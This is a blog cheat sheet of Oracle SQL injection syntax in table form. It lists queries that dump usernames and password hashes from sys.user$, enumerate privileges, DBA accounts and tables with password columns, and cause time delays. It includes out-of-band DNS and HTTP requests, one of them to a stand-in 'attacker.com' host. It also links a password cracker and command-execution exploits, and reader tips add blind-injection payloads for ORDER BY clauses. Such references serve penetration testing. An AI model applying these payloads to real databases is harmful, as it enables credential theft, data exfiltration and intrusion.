# Oracle SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into Oracle databases…

This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

I’m not planning to write one for MS Access, but there’s a great [MS Access Cheat Sheet here](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html).

Some of the queries in the table below can only be run by an admin.  These are marked with “– priv” at the end of the query.

|  |  |
| --- | --- |
| Version | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; |
| Comments | SELECT 1 FROM dual — comment – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table. |
| Current User | SELECT user FROM dual |
| List Users | SELECT username FROM all\_users ORDER BY username; SELECT name FROM sys.user$; — priv |
| List Password Hashes | SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ — priv, 11g |
| Password Cracker | [checkpwd](http://www.red-database-security.com/software/checkpwd.html) will crack the DES-based hashes from Oracle 8, 9 and 10. |
| List Privileges | SELECT \* FROM session\_privs; — current privs SELECT \* FROM dba\_sys\_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba\_sys\_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv SELECT GRANTEE, GRANTED\_ROLE FROM DBA\_ROLE\_PRIVS; |
| List DBA Accounts | SELECT DISTINCT grantee FROM dba\_sys\_privs WHERE ADMIN\_OPTION = ‘YES’; — priv, list DBAs, DBA roles |
| Current Database | SELECT global\_name FROM global\_name; SELECT name FROM v$database; SELECT instance\_name FROM v$instance; SELECT SYS.DATABASE\_NAME FROM DUAL; |
| List Databases | SELECT DISTINCT owner FROM all\_tables; — list schemas (one per user) – Also query TNS listener for other databases.  See [tnscmd](http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html) (services | status). |
| List Columns | SELECT column\_name FROM all\_tab\_columns WHERE table\_name = ‘blah’; SELECT column\_name FROM all\_tab\_columns WHERE table\_name = ‘blah’ and owner = ‘foo’; |
| List Tables | SELECT table\_name FROM all\_tables; SELECT owner, table\_name FROM all\_tables; |
| Find Tables From Column Name | SELECT owner, table\_name FROM all\_tab\_columns WHERE column\_name LIKE ‘%PASS%’; — NB: table names are upper case |
| Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all\_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ |
| Bitwise AND | SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns0 |
| ASCII Value -> Char | SELECT chr(65) FROM dual; — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) FROM dual; — returns 65 |
| Casting | SELECT CAST(1 AS char) FROM dual; SELECT CAST(’1′ AS int) FROM dual; |
| String Concatenation | SELECT ‘A’ || ‘B’ FROM dual; — returns AB |
| If Statement | BEGIN IF 1=1 THEN dbms\_lock.sleep(3); ELSE dbms\_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 |
| Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; — returns AB |
| Time Delay | BEGIN DBMS\_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT SELECT UTL\_INADDR.get\_host\_name(’10.0.0.1′) FROM dual; — if reverse looks are slow SELECT UTL\_INADDR.get\_host\_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL\_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow – Also see [Heavy Queries](http://technet.microsoft.com/en-us/library/cc512676.aspx) to create a time delay |
| Make DNS Requests | SELECT UTL\_INADDR.get\_host\_address(‘google.com’) FROM dual; SELECT UTL\_HTTP.REQUEST(‘http://google.com’) FROM dual; |
| Command Execution | [Java](http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql)can be used to execute commands if it’s installed.[ExtProc](http://www.0xdeadbeef.info/exploits/raptor_oraextproc.sql) can sometimes be used too, though it normally failed for me. IMG_256 |
| Local File Access | [UTL\_FILE](http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql) can sometimes be used.  Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = ‘utl\_file\_dir’;[Java](http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql) can be used to read and write files if it’s installed (it is not available in Oracle Express). |
| Hostname, IP Address | SELECT UTL\_INADDR.get\_host\_name FROM dual; SELECT host\_name FROM v$instance; SELECT UTL\_INADDR.get\_host\_address FROM dual; — gets IP address SELECT UTL\_INADDR.get\_host\_name(’10.0.0.1′) FROM dual; — gets hostnames |
| Location of DB files | SELECT name FROM V$DATAFILE; |
| Default/System Databases | SYSTEM SYSAUX |

### Misc Tips

In no particular order, here are some suggestions from pentestmonkey readers.

From Christian Mehlmauer:

|  |  |
| --- | --- |
| Get all tablenames in one string | select rtrim(xmlagg(xmlelement(e, table\_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all\_tables –  when using union based SQLI with only one row |
| Blind SQLI in order by clause | order by case when ((select 1 from user\_tables where substr(lower(table\_name), 1, 1) = ‘a’ and rownum = 1)=1) then column\_name1 else column\_name2 end — you must know 2 column names with the same datatype |